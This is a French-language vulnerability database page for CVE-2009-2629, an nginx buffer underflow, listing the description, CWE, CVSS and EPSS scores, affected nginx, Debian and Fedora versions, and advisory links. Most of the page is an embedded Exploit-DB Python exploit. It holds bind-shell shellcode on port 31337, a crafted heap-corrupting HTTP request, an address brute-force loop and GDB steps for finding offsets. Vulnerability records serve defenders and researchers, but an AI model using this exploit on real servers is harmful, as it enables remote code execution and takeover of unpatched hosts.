CVE-2009-2629 : Détail

CVE-2009-2629

Overflow
92.78%V3
Network
2009-09-15
20h00 +00:00
2009-12-17
09h00 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer underflow in src/http/ngx_http_parse.c in nginx 0.1.0 through 0.5.37, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.15 allows remote attackers to execute arbitrary code via crafted HTTP requests.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 14830

Date de publication : 2010-08-28 22h00 +00:00
Auteur : Aaron Conole
EDB Vérifié : Yes

#!/usr/bin/env python # # Exploit Title: nginx heap corruption # Date: 08/26/2010 # Author: aaron conole <apconole@yahoo.com> # Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz # Version: <= 0.6.38, <= 0.7.61 # Tested on: BT4R1 running nginx 0.6.38 locally # CVE: 2009-2629 # # note: this was written and tested against BT4. This means it's an # intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV # also - only tested successfully against nginx 0.6.38 # you'll definitely need to modify against other versions # # you'll need to know where the offset is going to land, and what the pad is # from that point to when you've tained execution flow. # # A quick way to find out just for verification would be to launch nginx, # attach GDB to the worker and target it with the exploit, setting the offset # to 0, or some other arbitrary value. It should crash on a piece of code which # resembles: # if (ctx->offset) # # At that point, merely dump the *r; capture the value for the data pointer # (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the # hex pointer value). That should give you a good area to test with. You might # want to use the range at that point and set the last octet to 00. # # NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet # found a "magic" combination that would cause the state machine to do # what I want to make the bug trigger. Once I do, you can bet BUG will be # replaced. #Basically, on BT4: #- compile #- edit the configuration to enable merge slashes (just insert a line above the sendpage / sendfile config option "merge_slashes off;") #- Launch nginx, and attach GDB to the worker #- Send the exploit at it with offset 0x11111111 #- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r" #- In the r data structure will be a few different fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (lets say 0x8c1d32f). #- Save off this address, and detach from the worker. A new one will spawn (the "manager" process will keep it going). #- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag #- In a minute or two, you should be given the shell. import os import sys import socket import select import struct import time import urllib REQUEST_METHOD='GET ' # NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures) NULLPTR='\x00\x00\x00\x00' # NOTE - this shellcode was shamelessly stolen from the www # port 31337 bindshell for /bin/sh SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80' # Why did I write this up this way? Because given enough time, I think I can # find a proper set of state change which can give me the same effect (ie: ../ # appearing as the 3rd, 4th, and 5th characters) at a later date. # That's all controlled by the complex uri parsing bit, though. DOUBLE_SLASH='//../' BUG=DOUBLE_SLASH # taken from the metasploit pattern_create.rb PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4' def connect_socket(host,port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect( (host, port) ) except: return 0 #sock.setblocking(0) return sock def handle_connection(sock): while(1): r, w, e = select.select( [sock, sys.stdin], [], [sock, sys.stdin] ) for s in r: if s == sys.stdin: buf = sys.stdin.readline() try: if buf != '': sock.send(buf) except: print "Xon close?" return 0 elif s == sock: try: buf = sock.recv(100) except: print "Xon close?" return 0 if buf != '': sys.stdout.write(buf) def main(argv): argc = len(argv) if argc < 4: print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0]) print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629" print "[*] host = the remote host name" print "[*] port = the remote port" print "[*] ctx_addr is where the context address should begin at" print "[*] -b specifies a brute-force (which will start at ctx_addr" sys.exit(0) host = argv[1] port = int(argv[2]) ctx_addr = int(argv[3],16) brute_flag = 0 if(argc == 5): brute_flag = 1 testing = 1 print "[*] target: %s:%d" % (host, port) try: sd = urllib.urlopen("http://%s:%d" % (host, port)) sd.close() except IOError, errmsg: print "[*] error: %s" % (errmsg) sys.exit(1) print "[*] sending exploit string to %s:%d" % (host, port) while(testing): CTX_ADDRESS = struct.pack('<L',ctx_addr) CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60) POOL_ADDRESS = struct.pack('<L',ctx_addr+56) DATA_ADDRESS = struct.pack('<L',ctx_addr+86) RANGE_ADDRESS = struct.pack('<L',ctx_addr+124) SHELL_ADDRESS = struct.pack('<L',ctx_addr+128) #PADDING SHELLCODE=PATTERN[:67] #the output context structure SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS #Magic SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR #this is the context object - some null ptrs, then we set range, then #pool address SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00' SHELLCODE+=NULLPTR*2+POOL_ADDRESS #this is the data buffer object SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR #this is the pool memory structure .. SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR # this is the range structure SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3 SHELLCODE+=SHELL payload = REQUEST_METHOD payload += BUG payload += SHELLCODE payload += ' HTTP/1.0\r\n\r\n' sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.connect((host, port)) sd.send(payload) sd.close() if (brute_flag): nsock = connect_socket(host,31337) if nsock != 0: print "[*] Successful Exploit via buffer: %x" % (ctx_addr) testing = 0 handle_connection(nsock) else: ctx_addr = ctx_addr + 1 else: testing = 0 print "[*] FIN." if __name__ == "__main__": main(sys.argv) sys.exit(0) # EOF

Products Mentioned

Configuraton 0

F5>>Nginx >> Version From (including) 0.1.0 To (excluding) 0.5.38

F5>>Nginx >> Version From (including) 0.6.0 To (excluding) 0.6.39

F5>>Nginx >> Version From (including) 0.7.0 To (excluding) 0.7.62

F5>>Nginx >> Version From (including) 0.8.0 To (excluding) 0.8.15

Configuraton 0

Debian>>Debian_linux >> Version 4.0

Debian>>Debian_linux >> Version 5.0

Debian>>Debian_linux >> Version 6.0

Configuraton 0

Fedoraproject>>Fedora >> Version 10

Fedoraproject>>Fedora >> Version 11

Fedoraproject>>Fedora >> Version 12

Références

http://www.kb.cert.org/vuls/id/180065
Tags : third-party-advisory, x_refsource_CERT-VN
http://nginx.net/CHANGES-0.7
Tags : x_refsource_CONFIRM
http://nginx.net/CHANGES
Tags : x_refsource_CONFIRM
http://www.debian.org/security/2009/dsa-1884
Tags : vendor-advisory, x_refsource_DEBIAN
http://nginx.net/CHANGES-0.5
Tags : x_refsource_CONFIRM
http://nginx.net/CHANGES-0.6
Tags : x_refsource_CONFIRM